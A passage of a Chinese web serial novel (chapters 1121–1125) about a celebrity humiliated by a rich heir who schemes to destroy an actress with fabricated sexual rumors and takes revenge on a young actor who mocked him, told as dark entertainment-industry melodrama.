成唯踏入这片腌臜之地时,众人目光如探照灯般灼烧,她们艳羡他入圈数年便跻身这权贵圈层,以为他是被二代们捧在手心的“新贵”。 然而下一秒,黎远航的指尖如铁钳勾住他的下颌,力度之大令成唯喉间噎住一声痛哼。 那动作分明是逗弄宠物,掌心拍打他脸颊的声响清脆如鞭,在夜色中泛着羞辱的回声。 “几年不见,长得还是这么好啊小狗。”黎远航的笑语如毒箭穿透成唯的伪笑面具。 周围二代们的哄笑如沸水倾泻,有人拍桌高喊:“航哥这狗训得真绝!”成唯的脊梁在笑声中寸寸绷紧,肌肉记忆如毒蛇啃噬,这庭院曾是他的囚牢,皮鞭、锁链、灌酒的指令……每一寸空气都浸染着他吞咽的血泪。 网红们僵住了涂抹精致的笑容,小明星们瞪圆的眼眸中闪过惊诧。 有人瞬间想起那桩旧事,二代曾直播嘲讽成唯如狗,而今黎远航当众以“小狗”来称呼成唯,这“关系”的腌臜本质如腐肉曝于日光。 她们的视线在成唯身上游走,仿佛剥开他西装革履的外壳,窥见皮下匍匐的犬骨。 嘲意如蛛网蔓延,窃窃私语在暗处滋生。 “原来真是条狗……” “难怪资源砸得狠,当年粉丝撕得凶,原来是在护主子的宠物啊!” 当年成唯的粉丝闹得那么凶,那群人不知道他们的哥哥私底下真的给人当狗吧。 成唯能敏锐的感受到周围那群人看着自己时候打量嘲讽的视线,他脸上的笑意都僵了一瞬,他以为黎远航叫自己来是会私下见面,没想到是跟这么多人在院内碰面。 他脸上的笑意僵如石膏,指尖在西装口袋中蜷缩成拳。 他原以为黎远航召他私会,却陷于众目睽睽的羞辱场。 若发火,便是自断星途;若顺从,尊严便再被碾碎一寸。 他吞咽喉间的哽塞,嗓音如绷弦:“航哥……这么晚了找我过来有什么重要的事吗?”语调刻意掺入谄媚,却难掩颤意。 黎远航哪管他内心翻涌的屈辱,径自将人拽至沙发,双腿缠上成唯的腰,手臂箍住他脖颈如锁链。 二代们起哄吹哨,网红们掩唇讥笑,镜头对准这腌臜戏码,成唯被迫坐在黎远航腿上,西装裤被对方膝盖顶出褶皱,仿佛犬被主人驯服摆弄的姿态。 他脊背绷如断弓,笑容彻底碎裂,却不得不以残存的镇定回应:“航哥的事,自然重要。” 黎远航可不管他是什么表情,开口道:“你了解温栩栩吗?这女人勾搭了我们黎家那位真太子,家里的老祖宗想找她麻烦呢,怎么个情况,你知道她吗。” 黎远航忽而将话题抛向温栩栩,提及黎家“真太子”与那女人的纠葛。 成唯的瞳孔在提及这个名字时骤缩。 他喉间翻滚的屈辱忽而被新生的危机压覆,强装镇定分析:“航哥,温栩栩没什么背景身份,就是被黎云笙捧着的小明星,其实……说来也惭愧,温栩栩现在所在的剧组要拍的这部《灵媒》本来男主角是我。” 黎远航轻微的皱了下眉,着实没有想到这件事跟成唯还有关系。 黎远航的眉峰在成唯提及温栩栩的瞬间如刀锋骤凝。 他指尖在沙发扶手上无声叩击,额角旧疤在灯下蠕动如蛰伏的毒虫 庭院中的哄笑陡然沉寂,空气凝滞如冻胶,成唯的话撕开了腌臜的帷幕,将权贵的颜面与蝼蚁的屈辱赤裸摊于众目之下。 “你怎么跟温栩栩掺和到一起了?”黎远航的质问裹着冰碴,语调却刻意维持淡然。 成唯垂眸掩住眸中暗涌的狡光,喉间挤出颤音:“航哥,我本想为您的面子周全,特意向导演施压,要求剧组在我与温栩栩间二选一。我原以为……凭航哥在圈中的威望,导演怎会不……”他忽而哽咽,似羞似愤,将“拒绝”二字咽入喉间如吞刃。这演技如淬毒的刀,精准剜向黎远航的尊严。 黎远航的面色渐染铁青。 他最忌旁人提及“比不得黎云笙”,那如刺梗喉,同是黎家血脉,他却是被放生的私生子没有任何继承权,而黎云笙却得家族真太子之位。 成唯的“委屈”恰似一盆腐液,泼在他心头那未愈的旧创上。 黎远航听到这里,面上的表情愈发僵了。 他确实是不知道是这么回事儿。 这可真要命。 怎么这部剧还跟他放生的狗有关系了?那可绝对不能就这么轻易放过温栩栩了,不然那不是把他脸甩到地上踩吗? 众人屏息观这场暗流交锋,网红们攥紧裙摆,小明星们低头如鹌鹑,皆知风暴将起。 “我都已做好入组的准备了,结果就这么被人换掉了。”成唯的嗓音染上哭腔,却故意将“人”字咬得含糊,暗指温栩栩背后势力。“导演这么护着温栩栩,只因为她是黎云笙的人……说的好像我们航哥就比不得黎云笙似的!”这最后一句如利箭直刺黎远航痛点,他掌心猛然拍桌,瓷杯震裂的脆响在夜中炸开。 “是可忍,孰不可忍!”黎远航冷笑撕破伪笑,额疤在怒意中泛红如血痂。 “温栩栩算什么东西?竟敢动我的人!”他此言“我的人”,既指成唯,亦指自己颜面,二者皆被那女人践踏。 成唯在他膝上佯装瑟缩,实则在袖中暗攥拳头,他的毒计已见成效,温栩栩的星途将如他当年般被碾碎,而黎远航的怒火,便是那碾碎的铁轮。 二代们嗅到腥风,即刻附和:“航哥,这口气不能忍!那女人不识抬举,需得教教她规矩!” “对!让剧组知道,航哥才是这圈子的帝王!” 他们的谄笑如腐蝇簇拥,而成唯呢?则低头咬唇,做出一副“受辱者”的懦弱姿态。 第1121章 最简单的方法就是造黄谣 这伪装之下,他指甲已掐入掌心渗血,痛是清醒的锚,提醒他这场戏必须演到最后一幕。 黎远航忽而拽他发,迫他仰面直视:“你既被弃,便该知耻!如今倒有脸来诉苦?” 成唯的瞳孔在发拽的痛中泛起泪光,却将这份屈辱淬炼成更毒的刃。 他佯装泣诉:“航哥,我本也不愿示弱,可那《灵媒》剧组竟请了墨澜顶替我的位置……墨澜啊!他粉丝势力滔天,我怎么能争得过?”喉间挤出颤音,却暗藏淬毒的妒火。 墨澜二字如刺梗喉,那男人有红色背景护身,黎远航不敢染指,却能凭实力登顶娱乐圈,而成唯却被“放生”为权贵圈的笑料。 这反差如腐液浇心,恨意在他骨髓中疯长。 黎远航的眉峰在“墨澜”之名上凝成寒霜。 黎远航整日在娱乐圈鬼混玩明星的人,怎么可能不知道墨澜呢。 墨澜并不是二代出身,但家里边有点红色背景,所以当初纵然黎远航先看上了墨澜却还是没敢对墨澜下手,但这不代表他不知道墨澜有多火。 这么说吧,现在跟外国人提到国内最火的男星几乎提到的都会是墨澜。 《灵媒》的导演竟然换上了墨澜,可见成唯确实是没别的办法了。 他自是知晓那人的锋芒,红色世家出身,却无世家子弟的矜傲,演技如刃,粉丝如铁。 纵然他淫玩娱乐圈无数男女,却对墨澜敬而远之,那背景如高压电网,触之即焚。此刻成唯被其取代,羞辱更添一层。 连“狗”的残羹,墨澜都敢夺食?黎远航的掌心在沙发扶手掐出痕,额疤蠕动如怒兽。 “你是这个圈子里面的人,应该最清楚怎么毁掉一个初出茅庐的女星。”黎远航的质问裹着冰碴。 听到黎远航问这个,成唯精神了。 他倏然扭头,目光如刃钉向与黎远航嬉闹的王少,那二代曾讥讽他如犬,而今,他要借这刀刃剜向温栩栩。 “王少在娱乐圈还是挺有名的,如果王少肯在网络上说几句,那温栩栩的名声也就先毁的差不多了,温栩栩长成那副模样,王少说什么那群人也都会信的。” “毁掉一个女星最简单的方法就是造黄谣,温栩栩就是勾引了王少跟王少有了纠葛才尝到了甜头继续勾搭圈子里的其他人讨要资源,那些吃瓜的人才不管是不是真事,他们看到是娱乐圈的明星,且还是女明星,毁第一时间加好狙击枪进行攻击的。” “王少在娱乐圈素有‘鉴婊师’之称,若您肯在网络上暗示温栩栩与您有染,再编造些腌臜故事……舆论腐沼会即刻吞噬她。” 成唯的嗓音如蛇吐信,舌尖舔过“暗示”二字,染上腥甜。 王少挑眉嗤笑:“航哥,这主意妙啊!墨澜护着她,咱们动不了,但捏个女星的黑料黄料那还真是谁也管不着……”他忽而捏成唯下颌,将人拽近,唇贴耳畔:“当年你被航哥驯得汪汪叫时,可没这脑子!如今倒学会借刀杀人了?” 嘲意如毒涎滴落,成唯却伪笑如常,眸底恨意沸腾,当年他们如何嘲他,今日便十倍奉还于温栩栩! 黎远航拍桌定论:“就这么办,明日让王杰开直播,编些床榻腌臜事,再买热搜煽动!” 他额疤泛红,怒意中掺着畸欲,温栩栩毁了“他的狗”的星途还得罪了他,他便毁她清誉,等她彻底摔下来,再把人困住。 成唯在他膝上佯装瑟缩,实则指甲掐入掌心渗血,温栩栩的星途将如他当年般崩裂,而那群曾嘲他的二代,将用更腌臜的词句撕碎她。 “毁掉女星最简单的方法就是造黄谣。”成唯的嗓音染着蛊惑,“就说她勾引王少,用腌臜手段讨资源,粉丝和网友最嗜腥,不论真假,先狙击枪齐发!”他深知网络舆论的腌臜本质,性别如原罪,女星如靶心,污名一旦泼洒,清白即刻焚毁。 那群匿名的蛆虫会啃噬她血肉,而他却可躲在暗处,看戏如观犬斗。 黎远航大笑掐他颊:“好狗!果然懂这腌臜世道!” 成唯伪泣应承,脊梁却绷如毒弦。 他恨墨澜的锋芒,恨温栩栩夺走本属于他的资源,更恨这娱乐圈将他的尊严碾碎如尘。 而今,他要借黎远航的腌臜网,将她拽入更深的泥潭。 当年他被二代们嘲为“黎远航的狗”,今日,温栩栩将成为“全网唾骂的婊子” 这复仇的毒,终得吞咽。 他倒是没想过,贬低他嘲讽他的是黎远航和这群二代,他却只想着报复温栩栩了,可见就是因为温栩栩是女性,将她看成是没有背景的弱势群体才敢这样操作。 不得不说,成唯确实是了解网络上乱糟糟的舆论环境。 成唯对网络舆论的了解如腐液浸骨,深知那腌臜之地性别即原罪,女星是靶心,男星若沾权贵便成“脏污”。 他曾目睹无数艺人被谣言绞杀,键盘侠如蝗虫啃噬血肉,水军如黑潮淹没真相,热搜榜是悬挂尸体的绞架,评论区是泼粪的狂欢节。 先不说别的,你是女人,你就已经错了大部分了。 那些匿名的蛆虫从不辨是非,只嗜腥臭,尤其对“女人”与“权色交易”,他们永远第一时间扣动狙击枪。 他更清楚,温栩栩一出道便踩了他的尾,抢了他的资源,圈中多少人暗恨她锋芒太盛。 墨澜与她搭戏,更是点燃了嫉妒的火堆,那男人无瑕如白玉,而他成唯却被烙上“脏污”印记。 二代们无需多出手,自会有人“防患于未然”地撕咬她。这腌臜世道,他早参透,却从未想过自己也会被这腐网绞缠。 更不要说温栩栩一出道就得罪了他,甚至墨澜跟她搭戏,圈子里不知道多少人瞧不上温栩栩,觉得温栩栩未来会抢夺自己的资源呢。 所以这些二代都不用多出手,自然会有人“防患于未然”的先出手的。 黎远航心情好了不少,连带着看成唯也是越来越顺眼了,心情好的又给了他点资源。 第1122章 还真当自己是大爷了 成唯高兴的陪着黎远航喝酒,他在这圈子陪酒陪酒陪出来了,黎远航和二代们被灌醉了,就他还没有烂醉,保持着点清醒,甚至站起来都还能走直线。 他站起来扶着墙去洗手间放水,人还没到洗手间,就听到拐角有今晚的网红和小明星嬉笑嘲讽。 “我以前还特别佩服成唯,觉得成唯真的很了不起,才出道没多久就正式爆红,挤进了一线,可现在看看,呵呵,不全都是这些二代少爷们捧出来的?” “笑死人了,当年网络上闹得沸沸扬扬,成唯的粉丝骂骂咧咧的,最后那位二代还道歉了,现在想想那哪里是道歉啊,分明是阴阳怪气成唯是狗吧!” “如果我这么舔这些二代我也早就火了,谁会像成唯这么没用啊,那么晚才红。” “还真当他是自己闯出来的,没想到是肉体换的,他粉丝还整天那么嚣张把他吹得天上有地上无得,现在看来真的是只有墨澜才是自己闯出来的了,墨澜干干净净,他呢?都不知道被多少男人玩过了,恶心。” “一条狗,还真当自己是大爷了。” “以前还佩服成唯?呸!不就是被二代睡出来的货色!一线?不过是权贵的玩具!” “当年粉丝撕得凶,结果人家二代阴阳‘宠物评选’,分明就是遛狗!那群傻子还在护主呢!” 嘲声在狭小空间回荡,成唯的脊梁如遭电击。 他僵在墙边,指尖抠进砖缝,喉间哽塞如吞刃。 那些话如腐液浇心,他们扒开他伪装的“一线明星”外壳,将腌臜的内里赤裸曝晒。 最刺耳的是“墨澜”二字,如毒箭钉入妒火。 成唯脸色顿变,苍白如纸,又瞬间涨红如淤血。 呼吸急促如濒死兽,他攥拳至指甲掐入掌心。 那些网红以为他在醉梦中无知,却不知他清醒如淬毒的蛇。他忽而冷笑,唇缝挤出一声如犬低吼,却无人听见。 墙角的嘲声未歇:“就他粉丝还吹‘天上有地下无’,笑死,都要比厕所还脏了,可不就是公共厕所吗!” 此刻,成唯面无表情逼近,脚步如绞索勒紧空气。 嘲讽者们的表情瞬间僵裂,网红们慌乱掐小明星手臂,却遏不住那蠢货的舌:“快别说了!成哥在这儿!” 小明星的嗤笑仍如溃堤洪水:“怎么不能说了?刚才你们不也骂得欢?现在哑巴了?说话啊!”他不知,成唯早将腌臜嚼碎咽下,正待反饲。 “我就要说,成唯算是什么东西,就是航少脚边的一条狗,在外面拽的二五八万的,航少拉一拉项圈不还是要回他的窝吗!” 成唯忽而爆笑,声浪震裂醉醺的昏沉。 小明星脸色顿如死灰,背后讥人被当场擒,最是腌臜丢脸。 成唯突然就笑了,这次完全没有压着自己的声音。 小明星同样听到了,此刻脸色有些难看。 背后蛐蛐人还被听到才是最丢脸的。 更不要说成唯是圈子里面的当红流量,如果成唯有意针对他,他以后都不会有好资源了。 别看他能陪着别的二代来这里聚会,可真的进入不了核心,成唯就算是条狗那也是被黎远航看重的狗,他说的这些话,就是黎远航听到了都要教训他的。 “成哥……我开玩笑的,乱说的,您别介意……”小明星颤如筛糠,冷汗浸透礼服。 成唯却倏地歪头,唇角笑意沁凉如刀:“觉得我当狗丢脸?你想试试滋味儿?”此言如腐液泼面,小明星喉间哽塞,羞辱如刃刺肺。 成唯续舔毒舌:“不过你这长相,航哥也瞧不上。否则,你今晚该跪着,而非站着,可惜了,轮不到你。”他嗤笑摹仿黎远航的挑剔,将小明星贬如秽物。 小明星攥拳至指甲掐肉,却不敢发怒,只咬牙如咽毒渣。 网红们僵立如蜡,呼吸凝滞。 成唯的反击如镜,映出他们的腌臜,他们亦不过是权贵圈外的吠犬,却妄嚼圈内之犬。 成唯却不同,他纵被驯,仍有撕咬蝼蚁的权。 他续嘲:“想来捧航哥?回去整容再来,他挑剔得很,不是谁都能被看上。”小明星的脸涨紫如淤血,耻辱如蛆啃心。 他原以为成唯是堕泥的狗,却忘了,泥中的狗仍有咬人的毒牙。 成唯的眸底燃着复仇的快意,这群蝼蚁撕他的伪面,他便撕他们的尊严。 他深知,腌臜圈中,尊严如纸,撕碎便碎,无人救赎。 小明星的求饶声如犬吠,他却伪笑应:“放心,今夜之事,我‘不会介意’。”尾音咬如毒钩,暗示后续腌臜报复。 小明星瘫软如烂泥,踉跄退去,背影似被无形绞索勒弯。 成唯转身离去,唇角笑意渐染血渍。 他听小明星咬牙咒骂的闷声,却如闻盛宴前菜。这腌臜世道,弱者撕强者,强者便碾弱者如尘。 他虽被黎远航驯为狗,却仍有碾蝼蚁的权,这便是娱乐圈的生存之道。 小明星此刻已经瘫软在原地,脸色苍白,周围的小网红和明星也都是慌乱的。 “完了完了,成唯的小心眼儿是出了名的,今天在背后议论他,以后这圈子是真的混不下去了!成唯能搞死我们的!” “怎么办,我经纪人知道这件事一定会骂死我的,我现在去找成唯求饶还来得及吗?” “说谁不好为什么一定要说成唯,如果我有机会做航哥的狗我也愿意啊!只要能进入那个圈子,让我做什么我都愿意!我怎么有脸说成唯的!” 众人都在慌乱迷茫。 只有那个被成唯完全针对嘲讽的小明星面如土色。 因为他已经收到了经纪人的信息。 “怎么回事?你不是去参加二代们的聚会吗!我不是说了让你哄好那些祖宗吗!让你脱衣服你就脱衣服让你跳舞你就跳舞啊!你招惹他们做什么!你招惹谁了!知不知道现在上面给我下了命令说要冷藏你封杀你啊!你到底得罪谁了!赶紧去求饶啊!不然我也救不了你!咱们公司被封杀的明星都是什么下场你知道的吧!” 小明星心里此刻只有一句话。 完了,全都完了。 第1123章 疯了吗去得罪成唯! 成唯若是个好相处的人,便不会将林夏压至泥潭,令其星途如枯枝。 他睚眦必报,如淬毒蛇,任何招惹者皆遭其暗中绞杀。 资本如他爪牙,人脉如蛛网密布,一旦得罪,便是全面封杀,资源掐断、通告消失、黑料泼洒,星途顷刻湮灭。 圈内人皆知他狠辣,传闻他识遍二代权贵,却无人敢究其深浅。忌惮如腐液浸骨,众人唯恐触其逆鳞,自毁前程。 资源争夺时,众人缩如鹌鹑,宁让肉饲鹰,不敢与“毒犬”争食。 任何招惹他的人,都会被成唯事后联系自己知道的资本对这些人进行全面封杀。 所以成唯能在圈子里横着走,最大的一部分原因就是成唯够狠。 都知道成唯人脉圈实在是广泛,认识的人很多,很多人都不确定成唯认识的二代到底有多少,有人是不想给自己找麻烦,所以在成唯面前都是毕恭毕敬的。 圈子里传的太多了,所以导致圈内很少有人敢跟成唯争抢资源。 没办法,都怕成唯事后突然找茬做点什么那星途算是毁了。 成唯心里的想法也是很简单的,他为了红真的是什么都敢做,自己都已经以自己的身体为代价付出了这么多,凭什么还要被那些明星刁难? 有资源就是要用,就是要把那些人压的抬不起头来。 他够狠,也从不给那群人面子。 粉丝们也以此为荣,没少在外宣传说成唯跟圈内的二代们是好友,宣传的越多越是没有圈内明星敢得罪成唯。 小明星此刻显然也想到这些了,经纪人还在手机里面不停的骂骂咧咧,让他赶紧找到原因,不管是道歉还是怎么样,一定要把人哄好,绝对不能真的被封杀。 可见经纪人确实是个好人,还真的为他考虑了。 小明星整个人都显得有些慌张似乎是不知道该怎么回应,眼底都透露出几分茫然。 小明星此刻瘫在角落,手机震动如催命符。 经纪人嘶吼声穿透屏幕:“赶紧找原因!道歉!送礼!砸钱!不管怎样把人哄好!”他颤如筛糠,冷汗浸透衣襟,眼底茫然如溺者。 “哥……我得罪的是成唯啊!”喉间挤出哀音,似自知无救。得罪成唯,如蝼蚁触怒蟒蛇,绞索已勒颈,何来生机? 得罪的人是成唯啊,还有救吗? 经纪人倒吸了一口凉气。 疯了吗去得罪成唯! 经纪人僵立如蜡,电话摔落。 成唯的狠,是腌臜生存的极致。 他无背景,无资本,却以“毒”筑权。黎远航驯他如犬,他却借主爪撕咬蝼蚁,将“狗”的身份淬炼成利刃。 二代人脉是他命脉,他深知如何操控,某二代厌谁,他便递刀,某资本弃谁,他便推刃。黑料伪造、舆论煽动、资源掐断,他手段如腐液浸骨,无声湮灭对手。 众人惧他,惧他如惧权贵爪牙,惧他身后腌臜的资本网。 小明星的经纪人瘫坐如朽木,脑中绞索般乱转。 道歉?成唯会收?送礼?砸钱?那毒犬要的从来不是物,是蝼蚁的屈辱跪伏! 他嘶吼:“去跪!去求!一定要让他放过你,不然你在这圈子里面就要彻底被毁掉了!”小明星喉间哽塞,屈辱如蛆啃心。 他原也妄图攀权贵,却未及成唯之腌臜狠毒,如今反被碾如尘。 手机又震,是合作方撤约通知,如绞索再勒,成唯的报复,已如黑潮涌来。 竟然这么快,他只不过才说了几句话,仅有的代言就被撤了。 “你去求他啊!求他啊!”经纪人实在是没有别的办法了,只能让小明星去求成唯,只要成唯肯退一步那就一切都还有救,可如果成唯不肯退,那一切就全都完了。 小明星面如土色,其它小明星和网红已经听到了小明星和经纪人的讨论,纷纷面色苍白,赶紧给自己的经纪人打电话讨论该怎么预防,生怕自己也变成下一个被成唯狙击报复的目标。 好在成唯根本不知道其他人叫什么,且当时确实只有小明星叫的最欢,成唯便把气都撒到了小明星身上。 小明星现在整个人都还是懵的,经纪人还想救一救他,特地这个时间开车赶过来,却根本进不去黎家老宅,还是小明星亲自去接的,保安也是知道黎远航爱玩儿,今天叫了不少二代和小明星网红,这才把人放进去了。 经纪人一进去对着小明星劈头盖脸的就是质问。 “你到底是怎么得罪成唯了?” “我以前没跟你说过?宁愿得罪墨澜也不能得罪成唯吗!” “墨澜那还是个君子,成唯……成唯那是真小人啊。”经纪人压低声音在他耳边道:“你就算什么都不做,但凡热度逼近他都要被报复,跟他资源有重合都要被买黑热搜的,你现在得罪成唯做什么!” 经纪人想大声骂人,又怕被人听到自己这些小声的在这里跟小明星蛐蛐。 小明星有些难堪的开口:“我就是跟人背后议论了成唯几句,被成唯听到了。” 经纪人喉间呛血,伪压低声嘶吼:“从你进了这个圈子那天开始我就跟你说过,不要在背后议论其它明星,不管是爆火的还是被雪藏的,因为你永远不知道那些人什么时候就爆红了,你根本不知道那些人都是什么心思是不是真的不在意这些,如果那些人记恨你,就算当时不知道你是谁,以后迟早也会查到你,为当初的自己报仇,你怎么就不懂呢!” “我早就跟你说过这些你偏偏不听,现在还得罪了最毒的一个。”他压低声嘶:“成唯最忌人揭腌臜,你骂他脏,他必泼你百倍脏污!他碾人从无余地,资源掐断、黑料轰炸、人脉封杀…你还混什么娱乐圈!” 小明星喉间哽塞,泪渍颤出,语无伦次:“我…不知…他就在拐角…突然听见…”恐慌如蛆啃心,只觉得自己逃脱无门。 “这是成唯在不在拐角的原因吗,不管成唯在不在你都不能议论他!你今天议论他,你怎么知道那些跟你一起嘲讽的人不会扭头把你卖了?” “他们今天跟你一起说成唯坏话,明天就能跟成唯说你背后嚼他舌根!能明白吗!” 第1124章 蝼蚁的求饶,本就不值一文 小明星年纪确实还小,也就是才成年没多久,是圈子里面的新人,相貌就像成唯说的比不得他,但也算是清秀阳光的小帅哥一枚,经纪人还挺看好他的,特意为他谈了一部校园偶像剧打算让他出演其中的阳光体育男二号,很出彩的一个角色,这角色都要谈下来了,就差签合同了,结果出了这档子事儿。 真要护不住,一切就全都完了。 年纪小,不懂人情世故,所以才会这么幼稚。 “怎么能蠢成这样!我要是你,我肯定全程哄着成唯捧着成唯!好歹让成唯卖我一个好,而不是像现在!被成唯故意设计针对!你说你不是蠢货谁是蠢货!我带过那么多艺人,只有你最蠢!” 经纪人看着小明星,实在是恨铁不成钢,想骂,可除了骂这些脑子里面也是一片空白了。 只等着去求成唯了。 “哥,我哪知道成唯势力真的这么大……你根本不知道当时的情况,成唯竟然是黎家那位少爷的人,不,不是人,是狗,外面都传成唯跟这群二代称兄道弟,可事实上只是狗,我当时也是台震惊了,我就是有点瞧不上这种人。” 小明星慌张的输出自己的观点:“他可以有金主啊,是男是女我也不在乎,可好好的不当人怎么偏偏要去当狗呢。” 小明星这话多明显啊,就是说成唯有毛病! 经纪人冷笑一声:“当人你能随时被甩掉,你看黎远航玩过那么多人,甩了的那群人谁还能拿到黎远航的资源,只有成唯!你瞧不上成唯给黎远航当狗,可多少人上赶着黎远航可都瞧不上呢。” “包个情人跟养条狗那是一样的吗?对这群少爷来说,情人还不如一条狗重要,哪怕是一条玩腻了的弃犬,他们也会时不时的投喂。” “你呢?你想给黎远航当狗,你以为黎远航能瞧得上你?你还不够格给他当狗。” 经纪人说的可都是实话。 成唯是不是真的被黎远航当狗圈子里谁在乎?他们就在乎谁有人脉谁更红谁就能拿到资源。 你瞧不上成唯当狗,你却活的不如一条狗,你以为你比成唯强到哪里去了? 小明星这才听懂了。 对啊,如果自己谈了场恋爱的同时又养了一条狗,他心里清楚自己迟早要跟对方分手的,但狗就不同乐了,几乎是就被当成家人了,就算以后不养了,在路边看到自己的弃犬还是会有所触动。 黎远航对成唯大抵就是这种心思,所有爬床的人,就是比不上一只狗,这就是事实。 小明星唇瓣哆嗦,骤然明白成唯对黎远航来说是有些分量的。 现在还只是丢了资源,如果成唯对黎远航说些什么,那他才是真的会完蛋的。 小明星已经不知道自己能说什么了,经纪人恨铁不成钢的瞪他一眼,似乎是觉得小明星实在是有些过于没用了。 经纪人咬了咬牙,“我带你去跟成唯道歉,我不管你平日里头抬得多高,现在你这头必须给我低下来,听到没有!” 小明星只能点头,此刻除了点头也不能做别的事了。 经纪人带着小明星进去,在院门口就听到黎远航跟一群二代们喝酒调侃嬉笑打闹的声音。 黎远航与二代们的醉笑、杯盏相碰的脆响、暧昧的调侃声浪从内厅溢出,恍若隔世的狂欢。经纪人脊背绷直如弦,不敢贸然闯入。 黎远航护短之名如雷贯耳,若让他知晓小明星曾嘲讽成唯,那雷霆般的报复必将倾轧而下,碾碎一切求生之机。 于是二人如罚站的罪徒,僵立在廊下阴影中,冷汗浸透衣襟,连呼吸都刻意压低,生怕惊动厅内的权贵。 倏然,一道嗤笑刺破寂静。 那笑声轻佻如刀尖刮过玻璃,寒意直沁骨髓。 小明星浑身剧颤,僵硬的脖颈机械转动,成唯倚在雕花门框旁,烟头猩红的光点在他唇间明灭,仿若地狱引路的鬼火。 他斜睨的目光如蛇信舔舐猎物,嘴角勾起的弧度满是讥讽,烟雾缭绕中,那张惯于对粉丝展露温柔的面庞彻底撕下伪饰,暴露出彻头彻尾的反派本色。 成唯叼着根烟抽,瞥见小明星又笑了一声,明显带着讽意。 小明星为什么跟他的经纪人这个时候过来了?成唯心里怎么可能不清楚?毕竟刚打过电话撤了小明星资源的可是他。 成唯笑意里面是满满的恶意,他此刻完全不会去伪装,面对粉丝那样温柔的一个人,现在却像是一个彻头彻尾的反派,打算让身边的人匍匐在地。 “呵,这不是……”成唯拖长语调,戏谑的目光在小明星颤抖的身躯上逡巡,“那位‘瞧不上当狗’的清高小公子么?” 他弹落烟灰的动作极缓,仿佛在观赏濒死之人的垂挣扎。 小明星的瞳孔骤然收缩,他怎会不知?方才正是成唯一个电话,如死神镰刀般斩断了所有资源渠道。此刻,这位掌控生杀大权的“狗”,正以胜利者的姿态,享受着猎物跪伏前的恐惧盛宴。 经纪人刹那间面色煞白,但求生本能如闪电劈开混沌。 他猛然挤出谄媚的笑,那笑容僵硬如蜡雕,嘴角的弧度刻意讨好,眼底却藏着颤栗的惶恐:“成哥……您瞧,这孩子年纪小,不懂规矩……”他躬身的姿态近乎匍匐,掌心暗攥冷汗,喉咙里挤出的话语黏腻如蜜:“您大人有大量,权当看个笑话,放过他这一回。日后必有厚礼奉上……” 成唯却不予回应,只将烟头按灭在廊柱上,猩红转为青灰的刹那,他轻笑出声:“厚礼?呵,倒也不必。” 他缓步逼近,皮鞋叩地的声响如死神的倒计时,目光锁定小明星,“毕竟蝼蚁的求饶,本就不值一文。” 小明星的膝盖终于不堪重负,轰然跪地。 碎石硌入掌心,他却浑然不觉痛楚,只觉尊严如腐叶般层层剥落。 成唯俯身,指尖捏起他的下巴,力道轻佻却残忍:“瞧你这模样,倒真像只待宰的羔羊。可惜……”他忽地收手,笑意森冷,“黎少养的狗,可从不缺骨头啃。” 成唯现在是直接把自己当狗来看了,他就是用这个来嘲小明星的。 对,他就是狗,可现在小明星是个人又如何,遇到这种事还不是要给他跪下求饶的?能比他这条狗高贵到哪里去?也就是烂命一条。 第1125章 待宰的羔羊 经纪人不知道成唯心里想的杂七杂八的事情,全然无视成唯眼中淬毒的讥讽,硬生生将嘴角扯成谄媚的弧度,仿佛那僵硬的笑脸是一张随时可能崩裂的面具。 他弓腰如恭迎神祇的仆从,舌尖舔过干涩的唇瓣,挤出黏腻的奉承:“成哥,您来了。您瞧,我这眼皮子浅,带着这不省心的玩意儿冲撞了您,实在该死!这知道了就赶紧赶过来想跟成哥道歉呢。” 他深知,此刻每一句言辞都必须如刀刃般精准削去成唯的怒意。 于是,他慌忙将“高奢封面”这枚血淋淋的筹码抛掷而出:“我手里头有个高奢品牌的年度封面资源,原是托了七八层关系、赔了无数笑脸才从主编那儿抠出来的。您也知道,这种顶尖杂志的封面,非一线流量根本摸不着边儿,我家这小明星资历浅薄,本想着等那部校园剧爆火后再给他镀金,可如今……成哥您身份贵重,资源库深如海,或许根本瞧不上这玩意儿……但若您肯赏脸,那便是他的福气,也是我三生有幸!” 喉间的苦涩如吞碎玻璃,经纪人几乎能听见心脏滴血的声音。 那高奢封面本是他的杀手锏,品牌方严苛如鹰隼,要求艺人必须兼具颜值、流量与商业价值。 他耗半年光阴,陪酒陪笑,甚至抵押了自己的人情网,才为小明星搏来这跃上青云的梯阶。原计划借此封面将小明星推向商务代言的黄金赛道,可如今,这枚棋子却成了求饶的祭品。 他暗自攥拳,指甲掐入掌心。若成唯拒收,那便是死局,资源拱手他人,却换不回一线生机。 若成唯冷笑纳下,小明星的未来便如断翼雏鸟,再无翱翔之机。 可怖的权衡中,他唯有赌上所有筹码,哪怕输得血本无归。 本想着让人来这里结交人脉,结果别说人脉了,倒是把人得罪了个彻底,这都叫什么烂事儿啊! 资源没捞到,还把他好不容易求来的资源送出去,且人家还不一定看得上。 经纪人心里叫苦不迭,但还是要继续笑着对着成唯,生怕成唯有半点不爽。 他心里最清楚的,成唯这种人就是要哄着捧着的,否则这人稍有不顺心的,他们就要完蛋。 他现在就只能寄希望于成唯瞧得上他给出的资源了。 成唯挑了下眉,国内四大高奢封面之一,那确实是好资源,就算是成唯也是在意的,当然这种资源他是不缺的,但现在起码让他看到了这两人的态度。 他还就喜欢这种高高在上的感觉。 在黎远航面前伏低做小的哄人,到了外面就压榨这群人,倒是挺爽的。 不得不说成唯此刻心理是有点扭曲了。 “这高奢资源倒是不错,配你这小明星也实在可惜,既然你诚心给,我也就收了。”成唯嗤笑一声,送上门的好处怎么有不要的道理,他又不是什么没脑子的蠢货。 经纪人赶紧笑了一声:“对对对,这资源配我的人确实是可惜了,也就只能配您这样的大明星,这圈子里谁不知道成哥是一线艺人当红流量呢!” “成哥您看……您能不能暂且放过他,今晚回去后我也会让他好好反省的。” 说到底经纪人还是为了自己的艺人。 成唯都懂,也都明白,他其实内心有那么些嫉妒的感觉。 他的经纪人对他可没这么好,不红的时候只会给他找金主,完全没想过他是不是真的能接受。 可这小明星呢,是个蠢货,可偏偏身边跟了个聪慧有良心的经纪人。 这样的高奢资源他怎么可能不懂这是这经纪人费尽心思拿到手的,为的就是捧他自己的人,包括今晚来参加这聚会,成唯也知道经纪人给对方找的是不好男色的一位少爷,对方当初对他也没有别的心思,甚至在场上那位少爷也说是带认识的小朋友来见见世面,可见本就没打算让这小明星被欺辱。 这其中不知道经纪人废了多大的力气。 对这经纪人来说,最多也就是让小明星唱首歌跳个舞哄一哄人,这人倒是真的全盘为自己的艺人着想。 真是让人嫉妒啊。 